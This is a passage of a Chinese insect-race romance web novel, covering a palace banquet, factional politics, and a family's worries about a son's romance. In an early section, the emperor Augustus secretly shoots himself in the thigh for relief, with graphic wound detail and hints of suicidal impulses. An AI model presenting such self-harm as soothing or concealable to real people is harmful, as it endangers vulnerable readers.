然后他对西奥提出了一个请求:“用牵丝控制我吧。” 西奥起初拒绝了,因为牵丝这个邪门的东西,副作用太大。不过后来,他创新了一个折中的办法。 在精神力丝线又一次从指尖抽出之后,还没来得及做什么,就听西奥说:“停。” 精神力顿时停滞在半空。奥古斯特整个虫都僵在那里,动弹不得。 然后西奥又说:“跪下。” 重量沉沉地坠在膝盖,奥古斯特不受控制地跪在自己雄主面前。 然后下巴被抬起,跟那双耀眼的金眸对视,“听话。” “以后不许再伤害自己了。” 然后他们接吻,做哎。 在奥古斯特的请求下,西奥用精神力将自己的名字印在了内侧的皮肤上。这个过程非常缓慢且持久,每次只能写一笔,一笔要用至少一周的时间。 等名字稳固之后,奥古斯特的确没有再做过出格的事情。如果确实有需求,鞭子和普通的电击,就足够满足他。 奥古斯特重新夺回了身.体的控制权。生活总算重回正轨。 然后,他突然在同一天内得知了三个消息。 一,西奥疑似感染。 二,自己怀孕了。 三,西奥给自己留了一封遗书。 他闯入灰铁建筑群,叫停了那场手术,将雄主成功抢回到自己身边。只是…… 失去精神力的西奥,再也无法成为他的最后一道防线。 但事态也并未像奥古斯特以为的那样失控。他摸了摸自己的下腹,毕竟,里面还有一个新的生命。他不敢、也不能放任自己滑入失控的状态。 万一伤到虫蛋怎么办? 但那种渴望偶尔也会撕咬到他无法承受的地步。这种时候,奥古斯特就会独自前往治疗室,略过前方的各种鞭子、皮拍、电击器,直接从后方翻找出枪支。然后脱掉所有衣服,抵在大.腿上,干脆利落地开枪。 噗!装了消音器的手枪并不会太响。 但距离太近,尽管只是小型枪械,大片皮肤会立刻被灼烧,肌肉被贯穿,腿骨被击碎。鲜血涌出,单侧下肢完全失能。 在清醒的状态下,他会立刻被那种灼热的、剧烈的疼痛所席卷。 然后在这种无法控制的惨叫和难以忍受的剧痛当中,获得片刻的、诡异的安宁。 最开始的剧痛过后,麻木会很快上涌。奥古斯特会用冷水冲干净伤口处、以及地板上的鲜血。同时,用精神力快速愈合。 因为治疗室完全隔音,不管是枪声、叫声,还是挣扎、清洗,都不会传出去分毫。 整个过程下来,大概需要几个小时。 离开的时候,至少从外表看来,奥古斯特跟进来的时候,没有任何区别。军装整洁,毫发无伤。 但只有他自己知道,有时候,枪会失控,不再指向四肢,而是心脏,或者大脑。 身为莫德神兵,这种对于其他虫来说的致命伤也不会让他立刻死亡,而是迅速进入卵化状态,牺牲精神力来补足重要的器官组织。但卵化状态已经极度危险,因为对外界环境的要求十分苛刻,稍有不慎,就会死亡。 所以,如果他在封闭的治疗室内卵化,也就跟缓慢死亡没有什么区别了。 失控的枪支并没有响起,但已经足够警醒。 所有虫都以为他指定继任者是因为西奥,就连小弗也是这么认为。但不是的。 至少不完全是。 “你还会梦到我……死在您的面前吗?”他的虫崽问。 奥古斯特知道,小弗在关心他。但事实上,他已经很久没有梦到弗雷德了。 不知道是不是阿弗还在记恨他,所以不肯入梦。又或者是他为了抵抗那种疼痛的诱惑,将睡眠压缩到了极致,所以连做梦也没了时间。 “不会。”奥古斯特答。 但小弗显然对这个答案不满意,“可是咨询师说……” “不管咨询师说什么,这都是我自己的事情。”奥古斯特冷冰冰地打断了对方。 在他刚开始出状况的时候,小弗曾经尝试干预过几次,但因为距离太远,他并不清楚细节,而且每次都会被像这样干脆地回绝。后来大概是失望了,问得便少了。 再后来,西奥跟小弗特地聊过一次,那之后,小弗就再也没说什么。 奥古斯特不知道发生了什么,为什么小弗会突然回来,突然想要插手。 他以为虫崽是对他选定的继承者不满,但现在看来,似乎也不是那样。小弗好像只是单纯的,在关心他。 “我能看出来,雄父他很喜欢你。”小弗又问,“你就没有想过,告诉他哥哥的事情吗?” 奥古斯特摇头,“没有这个必要。” “你难道觉得,不告诉他,就能回到过去吗?”弗雷德质问,却只得到了沉默。 但就在这片刻的沉默中,弗雷德突然捕捉到了什么,然后有了一个大胆的猜测。计划周全的退位、不告诉西奥真相、怀上一个新的虫蛋,甚至于,对他在军队中的发展不闻不问,或许真的是因为……他想要回到过去。哥哥出事之前的过去。 但那怎么可能?!而且,对于一个在位多年的掌权者来说,这想法简直可以称得上幼稚。 但又或许……这只是一个失去了孩子的雌父,最为质朴单纯的心愿。 “您……该不会真的……”弗雷德试探着问。 “小弗,你难道没有想过,要回艺术学校教书吗?”奥古斯特反问。 想过吗?当然有。但这并不是想就可以实现和解决的问题。他已经是弗雷德中将了,而弗莱特,早就死了。死在了三年前。 弗雷德说不上心里是什么滋味,他绕过那张宽大的办公桌,来到雌父身边,然后蹲下,像小时候那样贴在他的膝边,仰头道:“陛下,开弓没有回头箭的!” 这提醒已经足够直白,但奥古斯特仍旧不为所动。 “好吧,就算瞒得住一时,那如果他自己发现了呢?你不觉得他会生气吗?” 奥古斯特沉默片刻,“你想告诉他?” “我不会跟你对着干的,爸爸。”小弗叹气,“知道我为什么回家吗?” “因为雄父出事之前给我发消息,让我在以后的生日……也就是哥哥的祭日。” “都要回家,陪着你。” 作者有话说: 奥只是表面看起来还算正常,实际上…… 第32章 第32章宴会[VIP] 对于虫族帝国来说, 年底的述职会议一直是件大事。在这场会议上,难得能见到四大家族的掌权者齐聚一堂。无论彼此背后藏着多少矛盾与纠葛,至少明面上的体面和谐, 总要维持住。 不过,在正式会议召开之前, 还有一场盛大的晚宴。就在皇宫内的宴会厅, 所有与会的重要虫族都会出席。说白了, 就是会议召开之前的社交环节。因此, 大多数虫也会带上自己的家属。 奥古斯特询问西奥要不要去的时候, 被西奥果断拒绝。 这种虫多的场合, 西奥本来就不喜欢, 更别提因为失忆已经谁都不记得了,还要被迫社交岂不是很惨。 结果半天后,弗雷德又特地来问了他一次, “你确定不去吗?” “我觉得这种场合很无聊。”西奥直言不讳。 “你以前也这么说,但是……”弗雷德说, “你还是每次都会参加。” “因为你的出席,代表对雌父的支持。对于虫皇来说, 拥有一个漂亮恩爱的雄主, 是非常重要和正面的形象宣传。” 就这句话, 让西奥下定决心要参加这场宴会。不仅要参加,而且他一定要给雌君长脸! 为此,他还特地跟弗雷德一起去定制了专属的礼服。 西奥早就知道自己的脸很好看, 但毕竟虫靠衣装,等他穿着跟自己发色适配的白色西装, 站在镜子前时,还是被自己小小的惊艳了一下。 平日里穿舒服宽松的衣服比较多, 现在才意识到,不光奥古斯特是个衣架子,自己也是。只是稍微小一号。量身定制剪裁的礼服妥帖地包裹着他的身形,从肩线流畅地向下收束。既不过分紧绷,又清晰地勾勒出了流畅的腰线、和修长的双腿。面料泛着珍珠般的微光,随着他微微转身,流淌出细腻而温润的色泽。 不仅如此,领口处还用暗线绣了奥古斯特和自己名字的缩写。袖口也多了一些缩写的小小巧思。就连皮鞋的鞋跟底部,也加上了西奥的名字缩写。 等宴会结束,这个缩写或许会印在别的地方。 对此,弗雷德的评价是:“简直像一只开屏的小孔雀。” 西奥就当这是夸奖了! 因为,弗雷德那一身黑红配色的燕尾服,比他要高调多了! “你确定,你不需要穿军装吗?”西奥这么问,是因为知道奥古斯特穿的就是军装礼服。弗雷德这一身,相比之下未免有点夸张。 弗雷德毫不在意,“那是雌父的风格,他什么场合都喜欢穿军装。但宴会没有硬性规定的。” 其实也不尽然。地下的治疗室内,奥古斯特穿过很多其他风格的衣服,主要以紧身的皮革为主,很是……别有一番风味。 西奥正在微微走神,就听虫崽说:“我想穿什么就穿什么,他管不着!” 嗯……孩子大了,有自己想法也挺好。 不过既然已经跟奥古斯特说过不去了,西奥便决定把这件事情当成一个惊喜。 于是,宴会正式开始后,又过了约莫一刻钟,西奥才从容不迫地从二楼现身。 厅内灯火璀璨,帝国数得上名字的权贵几乎全都在这里了。华服与珠宝在水晶灯下流转着矜贵的光泽,精心装扮的虫族们手持酒杯,三三两两地聚在一处,交谈声混合着轻缓的音乐,织成一片浮动的、属于上层的声浪。 嗯……虚伪且吵闹。西奥在心里对此评价道。但并不妨碍马上要给奥古斯特一个惊喜的雀跃心情。 西奥从侧边的弧形楼梯缓慢向下时,视线第一时间就捕捉到了靠近他这一侧的奥古斯特。 高大英俊的军雌穿着笔挺的深蓝色军礼服,样式比以往的更为繁复庄重,肩章与袖口在灯光下泛着冷冽的金属光泽。他正微微侧身,与一位个子稍矮、面容清秀的军雌交谈。那位军雌的制服颜色稍浅,样式与徽章清晰表明他来自第四军团。 除此之外,在这位军雌身后半步,还跟着一位银发的娇小雄虫。虽然雄虫一直低着头,但西奥怎么看怎么觉得眼熟。 银发,金眸,穿着白色礼服,这是……? “所以,关于阿凯特斯的能源管控提案……”第四军团长诺拉维亚站在虫皇身侧,脸上带笑,似乎是想打听什么消息。 “不急,等到了正式会议上,我会直接公开。”奥古斯特似乎不想给出具体的答案。 诺拉维亚吃了闭门羹,倒也不恼,只是转移了话题,“我听说陛下前段时间遇到了一点麻烦。” “关于雄虫的麻烦。” “我完全理解,现在都是开放自由的年代了,只有一个雄主的话,的确无法很好的抵抗风险。”说着他示意了一下身后的雄虫,“他叫布里奇,是个平民雄子。身份干净,刚刚成年。别看出身普通,但等级还不错,有S级别。” 被点到名的布里奇也赶紧上前,双手捧起酒杯,姿态谦恭到有些卑微:“布里奇敬陛下一杯。” 然后又在诺拉维亚的眼神催促下,小声说,“只要陛下不嫌弃,我、我愿意侍奉左右……” 诺拉维亚适时补充了一句,“一个小玩意,陛下喜欢就行。” 奥古斯特的视线落到布里奇身上,他的头发被染成了银色,虽然身高矮了不少,但还是能从五官里,清晰看出西奥的影子。 诺拉维亚的意思再清楚不过了。奥古斯特也是没料到对方会直接送这么一份“大礼”。或许是之前西奥出事,让对方突然觉得有机可乘了? 他眉头几不可察地蹙了一下,没有接过布里奇的酒杯,平静地摇了摇头,沉稳道:“抱歉,我……” “——他已经有雄主了!” 一道明快的声音带着笑意,截断了奥古斯特未出口的婉拒。下一秒,西奥已姿态亲昵地挽上了雌君的臂弯,他甚至偏过头,在奥古斯特紧抿的唇边飞快地落下一个轻吻。做完这个近乎宣示主权的举动,他才抬起那双含着盈盈笑意的金眸,看向对面,语气轻快却不容置喙:“不需要第二个哦。” 布里奇的脸瞬间涨得通红,像是赝品当场被正品戳穿,窘迫得有些无所适从。他几乎是慌乱地低下头,脚步踉跄地向诺拉维亚身后缩去。 诺拉维亚的脸色也不太好,“西奥院长,我记得……您并不在本次宴会的名单上。” “对,临时起意,来看一眼。”但是这套显眼的定制礼服,显然不可能是临时起意。 “幸亏来了,否则岂不是错过好戏?” “我听说,”诺拉维亚还是没有死心,“西奥阁下之前身体出了点状况,精神力……没有了?” 西奥心底那股火腾的一下就起来了。连他身体的具体状况都打听得如此清楚,看来对方是早就处心积虑要钻这个空子了! 西奥脸上的笑容更加灿烂。他迎上诺拉维亚的视线,清晰而缓慢地说道:“不管有没有精神力,我都能满足我的雌君。” 自从他出现在宴会里,奥古斯特的目光便像是定在了他的身上,任何时候,只要他看过去,就一定会对上那双深邃的湛蓝双眸。一种关注,更是一种支持。西奥微微抬起下巴,继续说道: “——以及,他肚子里的蛋。” 诺拉维亚表情顿时变得有些奇怪,“陛下……怀蛋了?” “是。”奥古斯特大方承认,“而且,你听到我的雄主说的了。” “我很满足。” 得到虫皇雌君的当众认可,西奥脸上笑意不由加深了些。甚至莫名体会到了一种,胜利的快感? 话都说到这份上,诺拉维亚也只能带着小雄虫悻悻离开。 “这个军雌好没礼貌啊!”西奥把雌君挽得更紧了些。 “他不是雌虫。他是第四军团长,诺拉维亚。是个雄虫。” “啊?”西奥又看了一眼那远去的背影,“看身高和外表,还真分辨不出来……”他居然把雌虫和雄虫认错了,看来以后不能简单以貌取虫了。 奥古斯特的目光落在身侧的雄主身上,仔细端详了片刻。然后夸赞道:“礼服很漂亮。” “是吧?”西奥的眼睛顿时亮了起来。他松开挽着雌君的手,向后小小退了一步,轻盈地转了个圈,好让奥古斯特看清每一处细节——流畅的腰线,精致的袖扣,以及领口那不易察觉的暗纹。 “我特意找了裁缝定制的!小弗还说会不会太耀眼了些,但虫崽懂什么?!”西奥有些得意,“我就知道你肯定会喜欢的!” “嗯,喜欢。” 随后,西奥又趴到雌君耳边,说了鞋跟上的小巧思。 奥古斯特的视线随之向下,睫毛轻轻颤了颤。喉结滚动,吞咽下渴望。 正说着,伴随着微弱的咔嚓声,他们的亲密姿态,已经被定格在了宴会摄影师的相机中。 西奥立刻配合地调整姿势,歪头往雌君肩膀上靠了一下,对着镜头露出满足的笑。 想必明天,一张虫皇陛下与雄主恩爱异常的照片,又要登上社交媒体网络了。 成功为雌君长脸的西奥心情愈发舒畅。 这边第四军团长刚走,那边又来了两个雄虫。年长的那位雄虫鬓角已经斑白,看得出来已经过了盛年。即便如此,岁月的痕迹也只是增加了他的儒雅和威严。他手中握了一根镶嵌红宝石的拐杖。身后那位倒是看起来非常年轻,脸上带着毫不掩饰的好奇。 西奥一下子就猜到了这位长者的身份,应该就是卡利尼琴科公爵,爱德蒙家族的掌权者。因为这里上年纪的虫,实在太少。至于身后那位,大概是他们家族的小辈。 年长的雄虫矜持地冲他们点头,算是打招呼,“陛下,西奥阁下。” 奥古斯特也跟着颔首,“公爵,您的身体还好吗?” “一切都好。”紧接着,卡利尼琴科公爵也径直抛出了自己的问题,“听说您想要全面禁止虫体化军舰?这是真的吗?” 虫体化军舰,那是啥? “要是没有这些雌虫主动贡献自己的精神力作为能源,星区之间的快速通航,恐怕会成问题。不光军事安全,经济恐怕也会受到影响。” “公爵,我们之间不必打哑谜。这些所谓自愿贡献精神力的雌虫,到底有几个是真的自愿,你我都很清楚。阿尼亚号上的惨状,我们都是见识过的。” “这本来,就是犯罪。就该禁止。”奥古斯特总结道。 啊,雌君好帅! “陛下说的是。但灰色地带长期存在是有原因的。你这样一刀切,不担心会被反噬吗?” “公爵这是在担心我吗?” “陛下一边提高阿凯特斯的价格,一边禁止雌虫的精神力能源化,各项政策未免太偏向雌虫了些。有些虫可能心里会不舒服。” “是非法的精神力能源化。”奥古斯特纠正道,“至于有些虫……我想,他们是可以被说服的。您觉得呢?” 西奥在旁边听了半天,大部分没听懂。但是精神力能源化,刚好是他参与的课题,于是插了一句嘴,“雄虫的精神力也一样可以能源化啊?” 公爵的目光立刻被吸引过去了,“是吗?” “是我助手汉斯正在研究的一项课题,”西奥解释道,“目前来看,效果不错。同等的精神力,能源转化率比雌虫的要高好几倍,而且完全无痛。不会造成任何副作用。” “即便过量提取也不会?”一个声音插入了这场交谈。 来虫也是个高大的军雌,但却在胸前显眼的位置戴了一个象征虫神教的十字架。似乎是个虔诚的信徒。军徽章显示,他应该属于第三军团。 好家伙,这么一会儿就把四大军团集齐了! “陛下,”他冲奥古斯特示意了一下,然后特地对着西奥介绍到,“我是第三军团长,罗森塔尔·特纳,以防万一,您不记得了的话。” 倒是很体贴。“谢谢。” “至于过量提取的问题,这是不允许的。”西奥回到了他先前的问题。 “就是不知道咯?”罗森塔尔接话道,“但雄虫好像不会因为精神海枯竭而死亡,最多也就是废掉。所以,没有关系?” 这话一出,在场的两个雄虫脸色瞬间变得很难看。 “罗森塔尔,”就连奥古斯特也出言阻止,“少说几句。” “所以我觉得陛下并没有偏向。这不是一件好事吗?禁止大家利用雌虫,”罗森塔尔看向奥古斯特。 然后又看向公爵,“以及雄虫的精神力,去做坏事。”雄虫两个字,被刻意重读了。 “虫神在上,庇佑众生。”说着,罗森塔尔在胸前画了个十字。 西奥没有完全听懂,但他本能的不喜欢这种氛围。这几位掌权者聊天的时候,似乎把活生生的虫命当成了某种一次性使用的电池。 科技的发展应该是造福社会,而不是进一步的压榨。 “这项法律,保护的应该是每个生命!”西奥说出这句话后,现场沉默了好一会儿。 “这项研究,关于雄虫精神力能源化的研究,我听说过,但之前一直没看到成果。如果可以,过几天我想去研究院亲眼看看。”公爵对西奥发出了邀请。 展示成果这种事,西奥当然不会拒绝。但他还是看了一眼奥古斯特,得到了点头的许可后,才说:“没问题。稍后跟您约具体时间。” 然后,公爵就带着身后的年轻雄虫离开了。到最后,西奥也不知道这个年轻雄虫的名字。 西奥看出来了,这几个军团的虫,似乎都相处得不太和谐。彼此都唇枪舌剑的,倒是挺精彩。 他才刚来了一会儿,已经觉得累了。 西奥双手抱住雌君劲瘦的腰,低头轻轻地埋了一下胸。奥古斯特的手在他后背轻拍两下,似乎是在安慰。 还想黏糊,罗森塔尔居然厚脸皮地没走,重新凑上前来,笑着对西奥说:“我觉得你说的对,法律就是要保护每个虫。不过……” 西奥抬头,看向这位第三军团的上将。有些拿不准他到底要干嘛。 然后就听他话锋一转,“像这样的重要法案,可不是陛下一个虫说了算的。要在内阁上经过投票表决后通过才行。” “虫神庇佑,祝您顺利。”他冲着奥古斯特举起酒杯。 “谢谢。”虫皇神色不动,也跟着举杯—— 然后被一只手拦下。西奥冲他摇头,“怀孕了,不能喝。” “好。”奥古斯特从善如流,立刻将酒杯放下。 围观了这场亲密互动的罗森塔尔轻笑,然后又继续问西奥,“我听说您前段时间身体出了点状况,考虑了解一下虫神教吗?” “我们有特殊的、针对性的治疗方式。” 不行,这话听起来太像邪教了。西奥刚想拒绝,眼角突然瞥见一个熟悉的身影,是自家的虫崽弗雷德。 弗雷德的礼服的确是他们一起定制的那身。唯一的区别是…… “抱歉,我离开一下。”西奥松开了雌君的手臂,道别了试图拉他进虫神教的第三军团长,径直穿过熙熙攘攘的虫群,然后精准地拽住了弗雷德外套领口边边,并用力向内合拢。试图把他中间露出来的沟给遮住。 “里面不是应该有衬衫吗?怎么只穿着外套就来了?”一边扯一边在虫崽耳边念叨,“领口都快开到肚脐眼了知道吗?!” “雄父,爹地……”弗雷德一边小幅度推挡他的手,一边提醒道,“大家都看着呢……” 考虑到的确是大庭广众之下,西奥最终也只能作罢。但依旧看那过低的胸口很不顺眼。 弗雷德倒是毫不在意,“这叫时尚。” 其实看看周围,虽然大多数虫包裹得比较严实,但也有露肤度比较高的服饰,甚至有不少比弗雷德的还要夸张。如果是其他的虫,西奥大概也要夸一句好看、时髦,但是放到自己虫崽身上,就忍不住老父亲情节爆发,担心会不会着凉了。 等终于把注意力从低胸装上挪开,西奥才发现,弗雷德不是一个虫。 他旁边还有一个……娃娃脸雄虫。大大的绿色眼睛,很是漂亮。 “西奥院长,您好。”娃娃脸认真地跟西奥打招呼,“我叫莱纳德,是弗雷德的……” “小情郎。”一个声音接道,是罗森塔尔又跟了过来。 什么玩意?! 西奥立刻看过去,弗雷德倒是十分镇定,但他身边的那个小雄子,已经脸红到快熟透了!!! 他心中顿时警铃大作。 卧槽,虫崽这是,瞒着自己早恋了吗!!! 作者有话说: 各方势力依次登场中~但是笨蛋作者真的不会写权谋,大家随便看看就好 第33章 第33章光选[VIP] 西奥本想抓住弗雷德问个清楚。但奈何虫崽毕竟是军雌出身, 立刻扭身像条鱼一样从他指间溜走了。走的时候还没忘记拽上脸红的雄虫小男友。 而被留在原地的西奥,转眼又被赶上来的罗森塔尔缠上了。 “莱纳德是虫神教的圣子,前途不可限量。说不定, 将来会继承主教的位置,将虫神的光辉洒向宇宙深处。”第三军团长语气热切, “皇子愿意跟圣子交好, 是件好事。西奥阁下觉得呢……” “抱歉, 我还有事。”西奥再次摆脱这位三句话不离虫神教的第三军团长, 转身想去追上弗雷德。 但很快, 又被另一个陌生虫拦住了去路。 “西奥院长, 您的身体还好吗?我是第一军团的……” 然后第二只。 “西奥阁下, 您可能不记得我了,但是在您的婚礼上,我是负责撒花……” 第三只。 “西奥院长, 好久不见。上次见您还是在精神力研讨会上……” 身为虫皇的雄主,兼皇家精神院院长, 显然,想要跟他套近乎的大有虫在。 于是他就这样一遍遍被拦住, 一张又一张陌生的脸轮流出现在他面前, 言笑晏晏, 话语殷勤,不动声色刷着各自的好感度。甚至就连雄父阿朵耶夫的雌君都前来亲自道歉了。 社交真的好累。等他好不容易挨个应付完,早就找不到弗雷德的身影了。 没办法, 西奥只能回到奥古斯特身边,想要在虫崽意外早恋这件事情上找到同盟。结果发现雌君也被一群虫包围了。 也是, 身为虫皇,奥古斯特只会比自己更忙。看着从容不迫应对各方势力的雌君, 西奥只剩敬佩。以及感叹: 啊,虫族的虫口数量,还是太多了。 好不容易等奥古斯特身边也没什么虫了,西奥终于抓住机会凑上前,跟雌君小声抱怨起来:“你知道吗,小弗好像谈恋爱了!” 奥古斯特的神情倒是十分淡定,“跟谁?” “莱纳德,似乎是什么圣子,挺可爱一雄虫。但这都不是重点。”说着,西奥一脸怀疑地看向雌君,“你是不是早就知道这件事了?”否则为什么这么淡定?! “小弗已经成年了。”奥古斯特避开了这个问题,“成年崽的事情,我们不好插手。” “成年了也是我们的崽啊!而且他还那么小,不到三十岁!怎么能谈恋爱!”虫族可是能活四百年,换算成人类,弗雷德也就七岁那么大!七岁啊!怎么可以谈恋爱! “我生第一个虫蛋的时候,你比崽的年纪还要小。”奥古斯特指出。 西奥:“……” 早婚早育的回旋镖终究还是砸到了自己身上。 “所以你到底管不管!”如果雌君不管,他就亲自出手,棒打小鸳鸯!“他带着那个小雄子不知道去哪了,你就不担心他们一时冲动……” “激情做案吗!”西奥实在说不出那个词。 奥古斯特扫视一眼全场,很快在二楼的一个角落里锁定了弗雷德的身影。他身边的确是莱纳德。窗帘掩去了虫崽大半身形,两个虫挨得很近,似乎正在小声说些什么。 然后,莱纳德的手便落在了弗雷德腰间,动作十分亲昵自然,似乎已经做了很多次。并且还在缓慢上移。 奥古斯特轻轻抬了抬指尖,下一瞬,透明的精神力丝线便精准无误地缠上了莱纳德的手腕。 正在亲密互动的圣子,突然就发现自己的手动不了了。顺着拉扯的力道看过去,然后径直撞进了虫皇陛下那双威严而沉静的蓝色眼眸里。 奥古斯特在一楼远远朝他弯了弯唇角。 莱纳德缓慢地、极其顺从地将双手垂回身侧。腕间那道无形的束缚感这才悄然褪去。 “怎么了?”弗雷德注意到了莱纳德的停顿,奇怪地问道。 “没什么,我是说……”莱纳德乖巧地笑,“咱们去楼下吃点东西吧?” “已经管了。”奥古斯特回答。 “这么快?”西奥有点惊讶,“你做了什么?” “我把雄子的手给砍掉了。” “做得好……什么?!”西奥看向雌君,随即才意识到对方眼底那丝几不可察的笑意,“一点也不好笑!” “放心吧,他是圣子,理应比其他雄虫更懂分寸,知道什么该做、什么不该做。” “是吗?”西奥还是很担心,正准备说什么的时候,萨迦过来了。 这位第一军团长手里,还端着一个小蛋糕。 “西奥,又见面了。”萨迦笑着招呼,依旧非常自来熟。 西奥冲他点了点头,脚下却不着痕迹地往奥古斯特身边退了半步。 萨迦直接笑出了声,“小西奥,我又不会吃了你!” “等他恢复了记忆和精神力,”奥古斯特淡淡地提醒,“你就不怕被报复回来吗?” 萨迦脸上的笑容顿时收敛了几分,轻咳一声:“咳,都是开玩笑,干嘛当真呢!” 看来以前的自己很厉害,能让萨迦也吃瘪。西奥从没像此刻这样,强烈希望自己精神力赶紧回来! 再加上有雌君撑腰,西奥又觉得有底气了。于是往前迈了一步。 “陛下,你知道今晚我已经被问了多少次关于能源提案的事情了吗?”萨迦难得正色道,随即又向西奥微微颔首,“亲爱的西奥阁下,能借你的雌君一用,商量点事情吗?” 奥古斯特就这样被借走了。 像这种大型的正式宴会,都有一套既定的流程。致辞、祝酒、一轮又一轮的应酬……除了应付自己的社交,西奥多数时候都待在奥古斯特身旁,扮演一位优雅得体、与雌君恩爱般配的“花瓶”。偶尔回避,偶尔参与,取决于交谈的内容,以及当下的心情。 等大部分主要流程走完,已经到深夜了。过度持续的社交,简直比通宵做实验还要累。 西奥揉了揉自己的嘴角,总是面带微笑,感觉都快笑麻了。 眼看旁边的雌君还在应付几个议员,西奥决定不讲义气地暂时逃离。 他扯了扯领口,打算去外面的小花园呼吸点新鲜空气。 结果刚出来,却发现这里已经被虫捷足先登了。 “西奥院长——”刚想退出,却被里面的虫叫住了。对方从阴影中现身,是个脸熟的,跟在卡利尼琴科公爵身后的那个年轻雄虫,“这里很宽敞。您不嫌弃的话,一起坐会儿?” “吃甜点吗?”他将手上的托盘往前递了一把。 话说到这个份上,西奥也不好拒绝,他选了一个圆形的小点心,捏起来放进嘴里,甜软的滋味立刻在舌尖化开。 “谢谢。不好意思,还不知道你的名字。”他知道这位应该是公爵那边的。 “我叫瓦伦蒂亚·爱德蒙,公爵是我的祖父,第二军团长弗拉基米尔是我的雌父。你可以叫我瓦伦。” 关系倒是很清楚,就是名字太长,不太好记。 “我看到第四军团长想做什么了。放心吧,祖父和我……都没有那个意思。” 嗯?西奥确实因为第四军团长先前那送礼的举动,在公爵领着这位年轻漂亮的雄虫出现时,心中有过一丝警惕与怀疑,或许这情绪也细微地流露在了脸上。但他没料到,一直沉默地跟在公爵身后的瓦伦蒂亚,竟将这份细微的戒备看进了眼里。 “我没那么想。”西奥否认道。模糊的灯光下下,瓦伦蒂亚的唇角似乎极淡地弯了一下,他没有对此评论,只是又将那碟甜点轻轻推近了些。 “能跟陛下结成同盟当然是好事。但如果用雄虫来试图入侵他的私生活,只怕会被陛下讨厌。”瓦伦蒂亚语气平静地分析道,他将目光投向宴会厅的灯火,琥珀色的眼眸在灯光映照下仿若流淌的蜜糖,“而且,他都跟你结婚那么久了。” “这份礼,他要是真想收,早就收了。” 这话似乎很有道理,但是西奥总觉得有点说不出的别扭,“我跟奥古斯特感情很好。” 瓦伦蒂亚点了点头,“确实,看得出来。您很喜欢陛下。” “而且我们之间有标记,是终生的。”虽然虫族的标记有些扭曲,但得知对方与自己生死相随的那种确信,还是会让西奥感到一种安心。 他将颈间的项链扯出,轻轻揉捏。 “呃……”瓦伦蒂亚却欲言又止。 “怎么了?” “现在的话,标记都是可以清除的了。不然,第一军团长怎么可能那么频繁地更换雄主?就连我的雌父,也有不止一个雄主。” “那是临时标记和普通标记吧,我和奥古斯特之间是深度标记哦。”没有炫耀的意思,但的确有炫耀的作用。 “嗯……深度标记,也是可以清除的。”但瓦伦蒂亚无情戳破了他的炫耀泡泡,“因为很多高等级雌虫都有这方面需求,所以相关研究也就很多。如果我没记错,消除标记用的克林宁试剂,还是您负责主持研究的。” 西奥脸上的笑容消失了。一股说不清的情绪堵在胸口。原来他以为生死相随的标记,竟然只需要一支药剂就能轻易抹去吗?! 这件事情,奥古斯特从未对他提起过。雌君所有的表现,就像是那个标记终生有效,永不可破一样。 “听到没有!反派随时可以丢掉你哦!宿主你被骗了!”自从进入宴会就沉默了的系统,此刻突然钻了出来。 “抱歉,我是不是……说错话了?”大概是他脸色不好,瓦伦蒂亚的语气都变得小心翼翼起来。 “没有。是我因为失忆,很多事情还没想起来。” “就算标记可以去除,但你们现在有了虫蛋,肯定不会的。” 确实。西奥转念一想,既然标记并没有他以为那么强的绑定作用,那么,他和奥古斯特的结合就是你情我愿的选择。反而成了他们之间感情坚固的印证。 将心头那一丝隐约的不悦忽视,西奥迅速转移了话题:“对了,你认识圣子莱纳德吗?”既然都是年轻雄虫,那或许能从瓦伦蒂亚这里打听到些什么。 瓦伦蒂亚点头,“算是认识吧。之前莱纳德也一直在首都,三年前才离开。所以我们有一个线上的雄虫专属社群。” 瓦伦蒂亚点开自己的手环给西奥看,群里基本都是些高等级的权贵雄虫。他甚至还看到了吉尔。 “当然,这里面年轻一辈的比较多。”瓦伦蒂亚收回手,语气自然地说道,“您要是不介意,也可以加入进来。” 西奥点了点头,他倒是不介意。难得看到这么多雄虫扎堆,除了能了解莱纳德的情况,或许还可以顺便完成系统的任务。也算是一举两得。 很快,西奥收到了来自瓦伦蒂亚的邀请,【瓦伦邀请你加入群聊“光选会”】 “光选会?”西奥对这个名字有些好奇。 “是‘光明选择委员会’的简称。” 西奥没多犹豫,随手点下了接受。 下一刻,群聊界面刷新出一条提示:西奥·兰斯顿加入了群聊。 群里的雄虫数量不少,约有一百多。然而消息弹出后,界面安静了片刻。最终,只有瓦伦蒂亚发来一个“欢迎加入”的活泼表情包。 “大家可能是吓到了,没想到您这样的大人物也会来群里。”瓦伦蒂亚递过来一杯酒,然后用另一个酒杯轻轻碰了一下,笑得有点恶作剧得逞的意思,“不管怎么说,欢迎您加入光选会!” 西奥抿了一口递过来的酒,甜丝丝的,味道还不错,就是有点辣。 “所以,关于莱纳德,你了解多吗?” “也不能说多。但他毕竟是圣子,在圈子里都很有名。除此之外,也会在一些节日或者活动上看到他。偶尔他也会在群里科普和传教。”瓦伦蒂亚倒是很诚实,“不过莱纳德最出名的,应该是他特殊的精神力技能。” “他能判断你是不是在说谎。” 听到这里,西奥突然有点羡慕了。这个技能,他很需要! “这也是他能成为圣子的重要原因吧。” 两个虫这边正聊着,靠近门口处突然传来一声响动。像是谁突然摔倒了,动静还很大。 西奥站起身回头看去。宴会厅门口的灯光勾勒出两道身影,一个站着,另一个则坐在了地上。 因为逆光的缘故,西奥看不清他们的脸。虽然说,就算看到了可能也不认识。 是不小心摔倒了吗?西奥刚想起身去帮忙,却被身旁的瓦伦蒂亚轻轻按住了手臂。 雄虫冲他摇了摇头,口型说着:“私事,不好管的。” 西奥便犹豫了一瞬。 就在这片刻间,那边已传来一声清晰的怒骂:“废物!” 紧接着,站着的虫抬起脚,狠狠踹向跌坐在地的那位胸口。 卧槽!文明的虫族宴会上怎么还会出现这种暴力情节?! 这下西奥忍不住了,刚要上前,又被瓦伦蒂亚拦了一下。 然后他自己率先从灌木丛后走了出去,对着门口的虫说,“诺拉维亚上将,是谁让您这么生气?” 大概是意识到自己不怎么体面的行为被发现了,诺拉维亚阴沉地扫了一眼瓦伦蒂亚,也没接话,黑着脸径直离开了。 西奥赶紧快步上前,扶起倒在地上的虫。然后发现,对方正是先前跟在诺拉维亚身后、曾被安排要送给奥古斯特的那位雄虫,布里奇。 认出对方的一瞬,西奥心情有些复杂。明知布里奇未必情愿,可作为被牵扯的当事者,他确实很难对这位“礼物”产生好感。但亲眼看见对方这般遭遇,又忍不住生出些许同情。 “你还好吗?”不论如何,西奥还是先把对方扶稳,“需要看医生吗?” 